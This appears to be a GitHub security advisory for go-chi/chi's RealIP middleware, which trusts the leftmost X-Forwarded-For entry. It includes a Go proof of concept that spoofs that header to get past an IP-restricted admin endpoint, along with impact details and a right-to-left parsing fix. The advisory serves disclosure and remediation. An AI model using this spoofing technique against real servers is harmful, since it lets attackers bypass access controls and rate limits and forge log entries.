GHSA-3fxj-6jh8-hvhx

## Summary The `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.

## Details In `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:

```go func realIP(r *http.Request) string { // ... } else if xff := r.Header.Get(xForwardedFor); xff != "" { ip, _, _ = strings.Cut(xff, ",") } // ... } ```

Standard practice for `X-Forwarded-For` is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>`, and `go-chi/chi` will treat `<spoofed_ip>` as the source of the request.

## Proof of Concept (PoC) The following code demonstrates how an attacker can bypass an IP-based restriction.

```go package main

import ( "fmt" "net/http" "net/http/httptest"

"github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" )

func main() { r := chi.NewRouter()

// Enable the vulnerable RealIP middleware r.Use(middleware.RealIP)

// An endpoint that should be restricted to a specific administrator IP (1.2.3.4) r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) { clientIP := r.RemoteAddr fmt.Printf("[Server] Request received from IP: %s\n", clientIP)

// Simulate IP-based access control if clientIP == "1.2.3.4" { w.WriteHeader(http.StatusOK) w.Write([]byte("CONFIDENTIAL: The secret code is 42\n")) } else { w.WriteHeader(http.StatusForbidden) w.Write([]byte("Access Denied: You are not an administrator.\n")) } })

// --- Attack Simulation --- fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")

// 1. Normal Request (Should be denied) req1, _ := http.NewRequest("GET", "/admin/secret", nil) rr1 := httptest.NewRecorder() r.ServeHTTP(rr1, req1) fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())

// 2. Spoofed Request (Using X-Forwarded-For) // Attacker claims to be '1.2.3.4' req2, _ := http.NewRequest("GET", "/admin/secret", nil) req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP rr2 := httptest.NewRecorder() r.ServeHTTP(rr2, req2) fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String()) } ```

## Impact An attacker can masquerade as any IP address. This can lead to: - **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP. - **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key. - **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.

## CWE - **CWE-290:** Authentication Bypass by Spoofing - **CWE-345:** Insufficient Verification of Data Authenticity

## CVSS Score - **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)

## Affected Versions - `github.com/go-chi/chi/v5` <= `v5.2.1` (and all previous versions)

## Recommendation 1. **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy. 2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies. 3. Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.

## Suggested Fix A secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:

```go func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string { xff := r.Header.Get("X-Forwarded-For") if xff == "" { return r.RemoteAddr }

ips := strings.Split(xff, ",") // Traverse from right to left for i := len(ips) - 1; i >= 0; i-- { ipStr := strings.TrimSpace(ips[i]) ip := net.ParseIP(ipStr) if ip == nil { continue }

if !isTrustedProxy(ip, trustedProxies) { return ipStr } }

return r.RemoteAddr }

func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool { for _, network := range trustedProxies { if network.Contains(ip) { return true } } return false } ```

By providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}})` , the middleware can safely identify the true client IP even in complex proxy environments.